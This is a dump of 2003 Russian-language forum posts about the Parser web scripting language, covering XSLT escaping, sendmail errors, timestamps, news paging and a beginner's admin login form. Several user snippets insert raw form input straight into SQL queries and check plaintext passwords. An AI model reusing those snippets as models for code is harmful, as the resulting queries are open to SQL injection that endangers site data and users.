</xsl:stylesheet>}]\
$htm[^test.transform[$xslt]]\
^htm.string[$.method[html]]\
\
Версия 0007 под Win (равно как и 0005 под Win и Linux) пишет что и положено: 56 TEST. Версия же 0007 под Linux - заменяет html сущностями, в результате получаем \"56 <h1>TEST</h1>\". \
Никакие taint/untaint во всех мыслимых местах не помогают. Это ошибка Парсера, или у меня в ДНК ? Спасибо за ответ. \
\
"
"13425","Если только сделать 35 select'ов средствами Access'а и сохранить в файлики, которые потом подцепить на сервере через LOAD....?"
"13426","Делаем таблицу:\
[b]id[/b] UNIX timestamp [i]кстати упрек создателям Parser его отсутствия :)[/i], - ну да ладно высчитываем подобное число гинерирующееся по времени.\
[b]news[/b] ну и разные поля самой новости.\
\
итак при записи новостей к примеру получаем таблицу:\
\
id    | news\
12..2 | Новость\
12..3 | Новость\
12..4 | Новость\
12..5 | Новость\
12..6 | Новость\
12..7 | Новость\
12..8 | Новость\
12..9 | Новость\
\
На страницу новости делаем ссылку ?time=текущее_время_в_соответствующем_формате\
\
Теперь берем последние от этого времени N новостей, и делаем ссылкой на следующие новости ссылку ?time=текущее_время_в_соответствующем_формате_новости_N+1\
и т.д.\
\
Теперь в чём вся фишка. Как бы паук не проиндексировал страничку, а всё равно параметр time будет выводить на найденную новость.\
\
прим: скрипт должен показывать N сообщений сделанных раньше времени указанной в time\
\
Кажется решение правильное хотя я его еще не реализовывал, но идея интересная, что ж вы мне идею, а я вам решение."
"13430","http://www.parser.ru/forum/?id=12719\
\
[i]имейте в виду, что здесь использованы последние версии xml библиотек, если кто использует блоки CDATA с буквами < > & внутри, перечитайте стандарт в части <xsl:text disable-output-escaping=\"yes\">[/i]"
"13431","мне надо сделать файл-font сo всеми буковками и знаками препинания.\
ну выполнил я все инструкции из документации, получилась полная лажа. файлик этот пробовал создавать из разных редакторов - от паинта до фотошопа. проблема в том, что буковки начинают съезжать вверх-вниз и налазить одна на другую. мне интересно, как происходит разделение буковок, откуда парсер узнаёт что буква А уже закончилась и началась буква Б? и где же всё-таки взять этот файлик?"
"13432","в документации же все написано:\
кол-во букв делиться на высоту картинки, вот так и узнает...\
\
а где взять? :)\
нарисовать еще раз нормально - соблюдай высоту и расстояния между ними..."
"13433","Высота всех символов шрифта фиксированая (знакоместо).\
\
Высота каждого символа (высота знакоместа) определяется как отношение высоты рисунка к количеству букв в наборе. "
"13434","используется стандартный мэйлер, /usr/sbin/sendmail\
php на этом же сервере почту прекрасно отправляет, а Парсер выдаёт Unhandled Exception и пишет в логе:\
[code]\
[Thu Feb 20 19:49:08 2003] /тут_адрес_страницы: /home/nbspru/www//имя_файла.p(340): 'send' '/usr/sbin/sendmail' reported problem: UNKNOWN (1) [email.send]\
[/code]\
В главном конфиге auto.p блок настройки MAIL не прописан, т.к. используется программа по умолчанию."
"13435","посмотрите source созданной страницы.\
поищите ваш <a href=\"xxx\"> и обратите внимание, есть ли что между открывающей кавычкой и xxx.\
если есть, подумайте откуда он взялся.\
\
[b]внимание[/b]: специально для этой цели — разыскивать откуда что взялось, когда трудно понять — и был придуман флаг\
[code]\
$ORIGINS(1)\
[/code]\
см. http://parser.ru/docs/lang/app6.htm\
\
включите его, перегрузите страницу, и посмотрите на журнал: поиск существенно упростится."
"13436","зачем нужно время именно в GMT, вы не пишете.\
как понял, для вашей цели вполне подходит…\
\
[code]\
#какая-то дата\
$date[^date::now[]]\
#выводим в виде числа секунд\
^eval($date*60*24)[%.0f]\
[/code]"
"13437","теперь я не пойму:\
вы говорили об одной таблице .dbf -> mysql со сменой названий/количества стобцов.\
\
берём msaccess, создаём dblink на .dbf файл [это можно даже без datasource сделать].\
берём вкладку queries, создаём запрос, который достаёт нужные столбцы под нужными именами.\
нажимаем «запись макроса», и делаем export полученного в ответ на запрос в файл. заканчиваем запись макроса."
"13438","sendmail вернул parser'у ошибку #1, и никак своё поведение в stderr не объяснил.\
\
1.\
если есть возможность, в консоли этой машины задайте команду:\
[code]\
$ /usr/sbin/sendmail -t -i -f ТутТоЧтоВоFrom\
From: ...\
To: ...\
Остальное: ...\
\
тело письма\
^D\
[/code]\
возможно, вам повезёт больше, чем parser, и вы получите где-то текст сообщения об ошибке.\
\
[сейчас вижу, что текст мог быть на stdout, parser его оттуда считывает, но не ожидает = не выводит]\
\
2.\
если возможности нет, попросите своего системного администратора посмотреть в соответствующем журнале записи об ошибках отправки почты за <укажите> дату и промежуток времени."
"13439","Скажем [b]^time[][/b] - время отщитываемое в секундах с момента создания первой версии Parser:)\
\
ЗЫ: всё же ^time[] будет проше чем ^eval($date*60*24)[%.0f] вы не находите?"
"13440","зачем нужно время именно в GMT, вы не пишете.\
\
наезды ignored."
"13442","...если туда пихать все, что надо и не надо!\
\
Что вам мешает написать свой оператор @time[] и высчитывать ваш unixtime?\
\
Если бы PAF добавлял в Парсер все желаемые пользователями фичи, Парсер бы уже самолетом стал...:)\
\
Нам ведь не нужен самолет!?\
\
Или я не прав?"
"13443","Если все что нужно \"вообще\", запихивать в язык, - получится монстр, медленный и сложный, который трудно освоить и работать. ПАФ и просит вас доказать реальную необходимость данной фичи, привести реальный пример, где без этого нельзя. Мне например пока данная штука совсем никогда не нужна была\
\
А пустые голословные заявления пользы не приносят."
"13444","ведь правда?\
\
я знаю пример, когда таки нужна, и, со временем, конечно сделаю.\
однако начинать спор не имея аргументов: не[i]спор[/i]тивно :)"
"13446","Столкнулся с тем, что не один из моих ftp клиентов не видят файлы .ht*\
Посоветуйте, что делать.\
Клиенты - AceFTP и FAR"
"13447","во многих ftp клиентах можно задать команду, которая отправляется на ftp-сервер, чтобы получить листинг каталога.\
\
скажем, в FAR в FarNav плагине есть такая настройка.\
задайте там такую команду…\
[code]\
LIST -la\
[/code]\
"
"13448","Уже сделал.... средствами FoxPro на которой написана была та досовская программа, а задача была следующая - есть таблица в которой идут \
id,field1,field2.....,field35\
1,2,3,4....,35\
2,45,2,3....,23\
надо было в результате получить таблицу вида:\
id,field\
1,2\
1,3\
1,4\
...\
1,35\
2,2\
2,45\
2,2\
....\
А вот как sql запросом преобразовать из 1 строки в несколько строк не додумал, поэтому сделали средствами FoxPro - там за счет индексов все экспортируется за 1-2 минуты"
"13450","эх, кто только такие структуры таблиц придумывает :(\
\
да, тогда N запросов. или один составной запрос, если драйвер dbf вдруг поддерживает union.\
\
в этом нет ничего страшного, и работать будет быстро."
"13452","Я уже задавал этот вопрос, и мне ответили.\
Но, похоже, я не был понят.\
\
Так вот. Мне надо из ^request:uri получить САМЫЙ ВЕРХНИЙ ПОСЛЕ КОРНЕВОГО каталог, в котором я сейчас нахожусь.\
\
Разумеется, это надо делать с .match\
Вот что мне уже тут посоветовали:\
^request:uri.match[^^/(\\w\\d+)/.+^$][]{/$match.1/}\
\
но, проверив, я убедился, что этот даёт самый дочерний каталог, в котором я. А мне нужен самый верхний. П\
\
очитав документацию о PCRE, я не нашёл в данном выше коде ничего неправильного. Помогите, пожалуйста.\
\
"
"13453","http://www.parser.ru/docs/lang/?stringsplit.htm\
\
ещё по теме можно посмотреть вот эти ветки форума:\
http://www.parser.ru/forum/?id=9564\
http://www.parser.ru/forum/?id=8353\
http://www.parser.ru/forum/?id=6715"
"13454","...по крайней мере, не сейчас.\
[code]\
[b]Пример использования вертикального разбиения[/b]\
\
$str[О, сколько нам открытий чудных!…] \
$parts[^str.split[нам]] \
^parts.save[parts.txt] \
\
Создает на диске файл parts.txt, содержащий следующее… \
\
piece    \
О, сколько  \
открытий чудных!… \
[/code]\
\
Сечете? Разбейте ваш $request:uri на '/' и в полученной таблице возьмите первую строку - и быстрее, и надежнее. Просто и сердито..:)"
"13455","Похоже, это уже до меня спрашивали, и не раз."
"13456","Я не сомневался, что в парсере что-то подобное должно быть. \
Спасибо."
"13457","Искал до глаз вытечения, но ничего так и понял.\
Но заметил, что если вставить пробел или перевести переменную на другую строку, то пробел исчезает.\
--\
<a href=\"?\
$label.model\">\
--"
"13458","по поводу переконвертации времени из юникс формата в человеческий?"
"13460","пожалуйста, приведите кусок листинга вокруг вашего «<a href»."
"13461","в parser пока красиво это сделать нельзя, пока можно так:\
[code]\
#Московская стандартная\
$TZ(3)\
\
#создаём\
$datetime[^date::create(($unix_date_time/60/60-$TZ)/24)]\
\
#выводим\
^datetime.sql-string[]\
[/code]\
\
если вы всё равно положите приходящие к вам данные в базу данных, то подавляющее большинство sql-диалектов содержат необходимые функции."
"13462","...очень даже красиво :)\
\
веселее было бы ^date:unix[to|from;$unixtime] но и это уже было бы \"с жиру\".\
\
очень интересно увидеть пример скуль запроса, который это время преобразует(в Май Скуль)."
"13463","вы найдёте в документации по MySQL и напишете сюда.\
если, конечно, вам будет не лень."
"13464","...:) Вот, нашел по теме треда : \
[code]\
[b]FROM_UNIXTIME(unix_timestamp)[/b]\
Returns a representation of the unix_timestamp argument\
as a value in 'YYYY-MM-DD HH:MM:SS' or YYYYMMDDHHMMSS format,\
depending on whether the function is used in a string or numeric context: \
mysql> select FROM_UNIXTIME(875996580);\
        -> '1997-10-04 22:23:00'\
mysql> select FROM_UNIXTIME(875996580) + 0;\
        -> 19971004222300\
\
[b]FROM_UNIXTIME(unix_timestamp,format) [/b]\
Returns a string representation of the Unix timestamp,\
formatted according to the format string. format may contain\
the same specifiers as those listed in the entry for the\
DATE_FORMAT() function: \
mysql> select FROM_UNIXTIME(UNIX_TIMESTAMP(),\
                            '%Y %D %M %h:%i:%s %x');\
        -> '1997 23rd December 03:43:30 x'\
[/code]\
\
Только это для MySQL, другими не пользуюсь...(пока...)\
"
"13465","Да. НАШЕЛ!(одновременно с получением Вашего ответа на вопрос в форуме)\
[code]SELECT FROM_UNIXTIME($unixtime)[/code]\
выведет время в формате \
[code]YYYY-MM-DD HH:MM:SS[/code]\
\
а ежели сказать ему\
[code]SELECT FROM_UNIXTIME($unixtime) + 0[/code]\
то он нам промолвит все в формате\
[code]YYYYMMDDHHMMSS[/code]\
\
 Спасибо, тренер.\
"
"13466","можно просто использовать id записи, и от нее выводить N записей...\
\
однако пропадает хоть какая-то \"прозрачность\" ссылок на странички, и пользоваться чем-либо кроме предлагаемой навигации низя. \
\
остается так-же открытым вопрос что делать, если какая-либо запись удалена... в принципе можно взять ближайшую к ней и от нее плясать...\
\
P.S. я представил себе книгу, где страницы нумеруются предложеным тобой способом :)"
"13467","Мне кажется, что проблемы начинаются вот в этой фразе:\
\
> Допустим есть на сайте новостная лента (выводится по N новостей на страницу). \
\
Дело в том, что для пользователя гораздо прозрачнее навигация по архиву через календарь, а не через количество \"постов\". Если новостей много, то работаем с \"ежедневным каледнарем\". Если мало - с ежемесячным. А на первой странице выводим n наиболее актуальных новостей.\
\
И пользователи рады, и поисковики не ошибаются."
"13469","Вместо новостей может быть что угодно и скорость добавления этого чего угодно может быть разная, да и обрисованная Мишей проблема с \"удалёнными\" (вернее отключёнными) записями ещё более усугубляет проблему.\
\
Может не париться с этой индыксацие вообще - \"не стоит овчинка выделки\" или всё же стоит??? Я пока на этот вопрос не могу ответить - сомневаюсь? Внятного ответа пока тоже не прозвучало на этом форуме - стоит ли искать ответ или мы занимаемся \"изобретенем вечного двигателя\", невозможность изобрести который наверное можно доказать!\
"
"13470","Да, дело не в новостях.\
\
А в том, что для правильной организации информации очень редко может подходить \"постраничная\" архитектура. Это подход, который оперирует понятиями, пользователю неизвестными.\
\
Зачем тогда себе на эту тему парить голову?"
"13471","Пользователю по большому случую напливать на то как там навигация постоена, ему главное найти на странице то, что он нашел:)\
\
А решение вполне актуальное.\
Я согласен без времени лбойтись можно, но что здесь неправильного?\
\
ЗЫ: Можно также здесь сделать так, что-бы на первой странице было ровное кол-во новостей, это не беда."
"13472","может быть и редко, но куда не плюнь везде поступают именно так: условно говоря \"записи\" сами собой по-тихоньку сползают в архив (это удобно - тот, кто этим заведует вот именно не парит себе голову, а пускает всё в автономное плавание - и всё собой нормально плывёт по течению, и всех всё устраивает, если не вдаваться в такие тонкости, в которые полезли мы)\
\
Организовывать новости через календарь это тоже подход, который тоже стоит использовать (кое-где он подходит лучше, кое-где хуже), но сейчас мы ведём речь о другом. Вы с тем же успехом могли бы предложить вариант выводить сразу все новости на одну страницу сколько бы их не было :) (а почему нет?)\
Вариант с календарём тоже самое - допустим у Вас на сегодня приходится 1 запись, вчера было 5 000, а завтра будет 1 000 000 и чего - выводить сразу миллион или опять всё свести к скроллу? Это вопрос."
"13473","Кстати, нельзя сделать так, чтобы скрипт мерил страницы по id выдавая правельную последовательность в страницах, но так, чтобы на ней находилась то, что надо в текущей последовательности страниц.\
\
И этого в этом сучае можно избежать только постраничной публикации новстей, что неприемлимо."
"13475","... много каких-то хитромудрых телодвижений со временем/датой и тому подобными сущностями :), а результата не видно - даже идея чётко не вырисовывается (по крайней мере для меня, может ты, Misha, что-то понял? - я нифига не пойму как это можно прикрутить для пользы дела)\
\
Из далека похоже на то, что Demon спец. по сетевому маркетингу и нам как \"лохам\" что-то впаривает - чем больше непонятного тем лучше.\
\
P.S.: Demon, только без обид :)"
"13477","Кстати, нельзя сделать так, чтобы скрипт мерил страницы по id выдавая правельную последовательность в страницах, но так, чтобы на ней находилась та новость, которыю проиндексировал поисковик.\
\
Если и это не понятно, то надо работать над алгаритмом восприятия многообразных фраз."
"13479","давайте держать количество опечаток [b]в пределах[/b] разумного"
"13480","Что вам не понятно?\
\
Я согласен с Мишей, что можно использовать id вместо timedate."
"13482","установка на Linux Redhat 7.2 (а также более ранние версии Redhat)\
\
Цитата\
\"\
Установка SQL драйверов\
Скачайте архивы необходимыми вами SQL драйверами, и распакуйте их в каталог {куда вы установили Конфигурационный файл}/lib\
\"\
\
каталог lib ето тот каталог который лежит в папке Usr или её надо создавать отдельно гдето?"
"13484","вот где."
"13485","Беру строку из XML через selectString и хочу положить её в таблицу MySQL. Как заставить Парсер заэкранировать кавычки?"
"13486","Может это немного и несюда но всёже........\
\
Сделал сайт на парсере http://cs.npopioner.ru\
Такой непонятный баг когда открываешь сайт то style.css непринимаеться.......если мягко сказать то всё выглядет довольно криво....но после того как нажимаешь обновить и страница грузиться заново то всё работает отлично......причем это на всех страницах так:(((\
"
"13487","А почему нельзя увидеть исходников?\
И почему до сих пор не создан раздел \"Решения на Parser\": \
- форумы\
- прочее...\
\
если Parser лучше чем PHP, то где готовые решения? на PHP их полно, в том числе и форумов. Команда Parser.ru могла бы хоть постараться...\
\
"
"13488","НЕЛЬЗЯ ПРИМЕНЯТЬ ПРЕДЛОЖЕННЫЙ МЕТОД, ЕСЛИ ХОТИТЕ РОВНОЙ СТРУКТУРЫ СТРАНИЦ С НОВОСТЯМИ, ЕЁ НЕ БУДЕТ.\
\
ТАК Я ЯСНО, БЛИН ИЛИ ПРОГУ ПИСАТЬ?"
"13489","если конечно кто-нибудь прочитает это:\
\
желательно что \"треды\" по которым пришел новый \"постинг\" поднимались вверх, посмотрите как это сделано на http://rsdn.ru/forum/ - исключительный форум, хотя исходники тоже не доступны..."
"13490","топик"
"13491","только почему сразу идёт непонятный редирект на файл /news.html\
что мешает сделать его default???"
"13492","5й эксплорер.\
у меня помоему стиль принялись сразу, но! \
<link rel='stylesheet' href='http://cs.npopioner.ru/style.css' type='text/css'>\
Разве не так должно быть:\
<link rel=\"stylesheet\" href=\"http://cs.npopioner.ru/style.css\" type=\"text/css\">\
?)))))\
может по этому разные браузеры по разному?\
\
Мозилла, вернее феникс. - тож все ок. Но вот при загрузке, почему то рефрешит сразу сама себя.\
\
\
"
"13493","хе:))"
"13494","Но там есть ошибка. :-)\
cursor: hand в стандарте CSS не существует.\
http://www.w3.org/TR/REC-CSS2/ui.html#cursor-props"
"13495","Исходники: http://parser.ru/download/src/\
\
Решения на parser: http://parser.ru/examples/\
\
Готовых решений на Parser полно, причём по функциональности они сильно превосходят аналоги на PHP. Только они (в большинстве) не open source именно из-за того, что лучше бесплатных."
"13497","Кто нибудь знает где есть бесплатный хостинг с базой данных MySQL"
"13498","Есть такой хостинг. www.h1.ru\
Парсера не поставить. Но на бесплатном хостинге есть MySQL, перл и  PHPю"
"13499","топик"
"13500","правда там сейсас не регистрируют:)"
"13503","если формат поля \"кому\" был таков:\
[code]\
$.to[serge@yatsenko.name <serge@yatsenko.name>]\
[/code]\
Т.е. если имя и адрес совпадали -- sendmail не работал. :-/\
\
Сделал так:\
[code]\
$.to[Вебмастер <тут_адрес_из_базы_рассылки>]\
[/code]\
"
"13505","но драйвера для 3.0006, брать их?"
"13506"," у меня один index.html и все запросы редиректятся к нему. когда я вызываю $response:location[/ds/ads] из index.html то всё нормально работает. проблема начинается когда я вызываю респонс:лакейшн из парсеровских (*.p) файлов. броузер выводит или the page cannot be displayed или же internal server error, когда как. причём никакой закономерности незаметил. но всё нормально работает если я вызываю например $response:location[http://sdsd.sd], т.е внешние ссылки. это была первая проблема.\
2. не работает класс(объект) form , у меня method=\"post\" action=\"$request:uri\" стоит, но всё равно после сабмита $form:any_field равен !def. но если я делаю action=\"/poster.html\", и уже обработчик пишу как отдельный файл(/poster.html), то всё работает нормально.\
\
И все это происходит с теми сайтами в которых я изпользую свой(пользовательский) класс, который работает с mysql и никак не использует ни form ни response. я так и непонял что это за проблемы. пожалуйста хотяб объясните что происходит.\
p.s. я всё это перепробовал на 3.0005 и 3.0007."
"13508","//Из всего посоветанного решил:\
//Перл - вроде как круто, но дико медленно.\
\
:) медленно в каком плане? в плане разработки - относительно да! а вот в плане скорости выполнения кода (хотя учти, что код коду рознь) - имеется ввиду одного и того же алгоритма, перл побыстрее и пхп и парсера будет.\
\
//Пхп даже до перла не дотягивает.\
\
Совершенно не понятно, что Вы сказали (с какой стороны и по каким критериям не дотягивает). В удобстве разработки скриптов пхп удобнее перла, а вот по скорости выполнения кода немного медленне (если взять \"паук\"-индыксатор сайтов Risearch, написанный на перлу, и переписать его на пхп - такой эксперимент делался одним моим знакомым, то тот же скрипт на пхп работает гораздо медленнее)\
\
//Си - слишким сложно, и в большенстве случаев не нужно.\
\
Будет работать быстрее всего (гарантия 200%), но для разработки сложных сайтов абсолютно не пригоден (при каждой найденной ошибке нужно перекомпилировать :( - в итоге (в лучшем случае) Вы напишете на Си тот же Парсер, который будет раздраконивать написанные по особым правилам Вами файлы и генерить из них нормальный html.\
\
//А вот питон -это круто, мощно и быстро.\
честно скажу не знаю :("
"13509","Нужно чтобы этод код брал первую букву слова, введённого в поле формы и отправлял эту букву в базу. Пробовал так, но возникает ошибка:\
^if(def $form:item && def $form:price && def $form:box){\
   $str[$form:item]\
   $letter[$str.mid(0;1)] \
   ^connect[$connect_string]{ \
      ^void:sql{insert into product \
         (letter, item, price, phone, box) \
      values  \
         ('$letter', '$form:item', '$form:price', '$form:phone', '$form:box') \
      } \
      …товар добавлен\
      } \
}{ \
   …всё, что подчёркнуто - обязательно для заполнения!<br><br>\
}"
"13510","Прошу пращения..."
"13513","При попытке присоединения к БД парсер пишет в error.log сервера:\
[путь к модулю парсера] driver implements API version 0x0005 not equal to 0x0003.\
\
Че это таое и как это убрать?"
"13514","начиная с версии 3.0006 изменен интерфейс общения с SQL-драйверами.\
\
Загляните в раздел \"скачать\" и обновите SQL-драйверы на те, которые там найдёте."
"13515","Можно ли заставить Парсер открывать базу данных *.mdb (MS Access)?"
"13516","При запросе даты из базы MySQL мы получаем\
дату вида \"2003-02-15\"\
\
А как сделать так, чтобы выводилось 15.02.2002. Т.е. как преобразовать дату из стандартного для ДБ вида к такому, какой нужен?\
\
[code]\
^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, body  \
   from \
      news\
   }] \
      ^news.menu{ \
         <b>$news.date - $news.header</b><br> \
         ^untaint{$news.body}<br> \
      }[<br>] \
}\
[/code]\
\
Заранее спасибо"
"13517","Лучше всего переписать запрос в базу вот так:\
[code]select DATE_FORMAT(date, '%d.%m.%Y') AS date, header, body from news[/code]\
   "
"13520","[code]\
^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (date, header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      } \
      …сообщение добавлено \
      }\
[/code]\
Добавляем строку - это мне понятно\
\
А вот как удалить строку в бд с определённым номером\
Что-то вроде delete from news. А вот дальше как?"
"13521","Запросом [code]delete from ТАБЛИЦА where id='НОМЕР СООБЩЕНИЯ'[/code]\
или я неправ?"
"13523","Я только начинаю со всем этим разбираться\
и вот уже возникают траблы. Молю о помощи...\
\
<form method=\"POST\">\
<input name=\"user\"> - пользователь<br>\
<input name=\"pass\"> - пароль<br><br>\
<input type=\"submit\" value=\"Войти\" name=\"posted\">\
</form>\
^if(def $form:user && def $form:pass){\
#Щас законектимся к бд...\
^connect[$connect_string]{\
$user[^table::sql{select \
       username, password\
   from \
      users  \
   where \
      username=\"$form:user\"\
   }]   \
^if($form:user eq $user.username && $form:pass eq $user.password){\
#Здесь будут формы...\
#\
#...Всё это достаточно большой кусок кода...\
#\
#А здесь они кончаются...\
}{<font color=\"#ff0000\">Вы ошиблись, попробуйте ввести снова.</font>}\
}{<font color=\"#ff0000\">введите имя пользователя и пароль.</font>}\
\
Почему эта штука не работает?"
"13524","вроде всё правильно, но одна часть кода вызывает сомнения в её работоспособности.\
\
попробуйте условие...\
[code]^if(def $form:user && [color=\"red\"]def[/color] $form:pass)[/code]\
...заменить на...\
[code]^if(def $form:user && $form:pass)[/code]\
...а условие...\
[code]^if($form:user eq $user.username && $form:pass eq $user.password)[/code]\
...заменить на\
[code]^if(($form:user eq $user.username) && ($form:pass eq $user.password))[/code]\
\
[color=\"red\"]Updated:[/color] фигню я тут посоветовал, не делайте так !!! (это для тех, кто поиском найдёт...) \
"
"13525","Нет, так тоже не работает. Да и это было-бы странно, потомучто есть примеры где у меня def ... && def ... работает. А тот \"большой кусок кода\" отдельно(на другой странице) работает!!???"
"13526","возможно где-то в том \"большом куске кода\" не экранирована \"[b];[/b]\" и стОит заменить на \"[b]^;[/b]\" или ещё что-то вроде этого..."
"13527","Симптомы \"неработы\""
"13528","но почему тогда этот кусок работает на отдельной странице?"
"13529","Просто должно работать, а то ошибка и всё!"
"13530","Удалять это неправильно, набо вести все записи - для архива, и анализа.\
Надо ставить атрибуть  отображать или нет.\
добавить в таблицу поле \"public\" если там 1 то отобразить, если 0 то нет.\
"
"13531","подробнее: http://www.parser.ru/docs/lang/?params.htm\
последний абзац..."
"13532","Вот весь код целиком:\
<form method=\"POST\">\
<input name=\"user\"> - пользователь<br>\
<input name=\"pass\"> - пароль<br><br>\
<input type=\"submit\" value=\"Войти\" name=\"posted\">\
</form>\
^if(def $form:user && $form:pass){\
#Щас законектимся к бд...\
^connect[$connect_string]{\
$user[^table::sql{select \
       username, password\
   from \
      users  \
   where \
      username=\"$form:user\"\
   }]   \
^if($form:user eq $user.username && $form:pass eq $user.password){\
$now[^date::now[]]\
<font color=\"#333333\">Добавить новость:</font>\
<form method=\"POST\" action=\"/admin/welcome/index.html\">\
<table>\
<tr><td valign=\"top\">\
<u>Дата:</u><br> \
<input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\">&nbsp^;&nbsp^;&nbsp^;&nbsp^;<br><br>\
<u>Тема:</u><br>\
<input name=\"header\">&nbsp^;&nbsp^;&nbsp^;&nbsp^; \
</td><td>\
<u>Новость</u>:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea></td></tr></table> \
<br><br>\
<input type=\"submit\" value=\"Добавить\" name=\"posted\">&nbsp^;&nbsp^;&nbsp^;\
<input type=\"reset\" value=\"Отменить\">\
</form>\
#начало обработки \
^if(def $form:date && def $form:header && def $form:body){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (date, header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      }\
      …сообщение добавлено \
      }\
}\
<br>\
        <table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\" height=\"1\" width=\"95%\">\
        <tr>\
          <td background=\"/img/line.gif\"><img src=\"/img/spacer.gif\" width=\"1\" height=\"1\"></td>\
        </tr>\
        </table>\
<br>\
<font color=\"#333333\">Добавить товар:</font>\
<br>\
<form method=\"POST\"> \
<input name=\"item\"> - <u>Товар</u> \
<br>\
<input name=\"price\"> - <u>Цена</u>\
<br>\
<input name=\"box\"> - <u>Павильон</u>\
<br>\
<input name=\"phone\" value=\"26-81-94\"> - Номер телефона\
<br><br>\
<input type=\"submit\" value=\"Добавить\" name=\"posted\">&nbsp&nbsp&nbsp\
<input type=\"reset\" value=\"Отменить\">  \
</form>\
#начало обработки\
^if(def $form:item && def $form:price && def $form:box){\
   $str[$form:item]\
   $letter[^str.mid(0;1)]\
  ^if($letter eq \"а\" || $letter eq \"б\" || $letter eq \"в\" || $letter eq \"г\" || $letter eq \"д\" || $letter eq \"е\" || $letter eq \"ж\" ||\
  $letter eq \"з\" || $letter eq \"и\" || $letter eq \"к\" || $letter eq \"л\" || $letter eq \"м\" || $letter eq \"н\" || $letter eq \"о\" ||\
  $letter eq \"п\" || $letter eq \"р\" || $letter eq \"с\" || $letter eq \"т\" || $letter eq \"у\" || $letter eq \"ф\" || $letter eq \"х\" ||\
  $letter eq \"ц\" || $letter eq \"ч\" || $letter eq \"ш\" || $letter eq \"э\" || $letter eq \"ю\" || $letter eq \"я\" || $letter eq \"щ\" ||\
  $letter eq \"й\" || $letter eq \"ё\" || $letter eq \"ы\" || $letter eq \"ъ\" || $letter eq \"ь\"){\
   ^if($letter eq \"а\"){$letnum[1]}\
   ^if($letter eq \"б\"){$letnum[2]}\
   ^if($letter eq \"в\"){$letnum[3]}\
   ^if($letter eq \"г\"){$letnum[4]}\
   ^if($letter eq \"д\"){$letnum[5]}\
   ^if($letter eq \"е\"){$letnum[6]}\
   ^if($letter eq \"ё\"){$letnum[6]}\
   ^if($letter eq \"ж\"){$letnum[7]}\
   ^if($letter eq \"з\"){$letnum[8]}\
   ^if($letter eq \"и\"){$letnum[9]}\
   ^if($letter eq \"й\"){$letnum[9]}\
   ^if($letter eq \"к\"){$letnum[10]}\
   ^if($letter eq \"л\"){$letnum[11]}\
   ^if($letter eq \"м\"){$letnum[12]}\
   ^if($letter eq \"н\"){$letnum[13]}\
   ^if($letter eq \"о\"){$letnum[14]}\
   ^if($letter eq \"п\"){$letnum[15]}\
   ^if($letter eq \"р\"){$letnum[16]}\
   ^if($letter eq \"с\"){$letnum[17]}\
   ^if($letter eq \"т\"){$letnum[18]}\
   ^if($letter eq \"у\"){$letnum[19]}\
   ^if($letter eq \"ф\"){$letnum[20]}\
   ^if($letter eq \"х\"){$letnum[21]}\
   ^if($letter eq \"ц\"){$letnum[22]}\
   ^if($letter eq \"ч\"){$letnum[23]}\
   ^if($letter eq \"ш\"){$letnum[24]}\
   ^if($letter eq \"щ\"){$letnum[24]}\
   ^if($letter eq \"э\"){$letnum[25]}\
   ^if($letter eq \"ю\"){$letnum[26]}\
   ^if($letter eq \"я\"){$letnum[27]}\
   ^if($letter eq \"ь\"){$letnum[27]}\
   ^if($letter eq \"ъ\"){$letnum[27]}\
   ^if($letter eq \"ы\"){$letnum[27]}\
   ^connect[$connect_string]{ \
      ^void:sql{insert into product \
         (letternum, letter, item, price, phone, box) \
      values  \
         ('$letnum', '$letter', '$form:item', '$form:price', '$form:phone', '$form:box') \
      }\
      …товар добавлен\
      }\
}{введите название товара с маленькой русской буквы}\
}{ \
<font color=\"#ff0000\"> …всё, что подчёркнуто - обязательно для заполнения!</font><br><br>\
}\
\
#А здесь они кончаются...\
}{<font color=\"#ff0000\">Вы ошиблись, попробуйте ввести снова.</font>}\
}{<font color=\"#ff0000\">введите имя пользователя и пароль.</font>}\
\
Проблема остаётся..."
"13534","@telefon[]\
<td class=\"r12\">\
<a href=\"?$label.model\">\
$tel_photo[^image::measure[$label.pic]]\
^tel_photo.html[\
		$tel_photo.width(50)\
		$tel_photo.height(91)\
		$.border[1]\
		$.class[m8]\
		$.alt[$label.firm $label.model]\
]</a></td>\
--\
вот здесь, если перевести $label.model на другую строку или  табулировать, то всё нормально работает. Посылает без пробела. "
"13536","приведите (Copy + Paste в форум) текст сообщения об ошибке."
"13537","Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception\
"
"13538","[Sun Feb 23 18:23:45 2003] /admin/: d:/server/htdocs/admin/auto.p(134:1): parse error, expecting `';'' or `'}'' [parser.compile]"
"13539","надо так:\
[code]\
<form method=\"POST\">\
<input name=\"user\"> - пользователь<br>\
<input name=\"pass\"> - пароль<br><br>\
<input type=\"submit\" value=\"Войти\" name=\"posted\">\
</form>\
^if(def $form:user && def $form:pass){\
#Щас законектимся к бд...\
^connect[$connect_string]{\
$user[^table::sql{select \
       username, password\
   from \
      users  \
   where \
      username=\"$form:user\"\
   }]   \
^if($form:user eq $user.username && $form:pass eq $user.password){\
#Здесь будут формы...\
#\
#...Всё это достаточно большой кусок кода...\
#\
#А здесь они кончаются...\
}{<font color=\"#ff0000\">Вы ошиблись, попробуйте ввести снова.</font>}\
}\
}{<font color=\"#ff0000\">введите имя пользователя и пароль.</font>}\
[/code]\
\
PS: Используйте UltraEdit или другой редактор с проверкой парности скобок"
"13541","Или вообще под любой Линукс? Вышлите мылом плиззз или дайте ссылку, очень нужна, правда!"
"13542","надеюсь логика понятна? :)"
"13543","Комментарии по коду:\
[code]\
^if(def $form:item && def $form:price && def $form:box){\
   $str[$form:item]\
   $letter[^str.mid(0;1)]\
  ^if($letter eq \"а\" || $letter eq \"б\" || $letter eq \"в\" || $letter eq \"г\" || $letter eq \"д\" || $letter eq \"е\" || $letter eq \"ж\" ||\
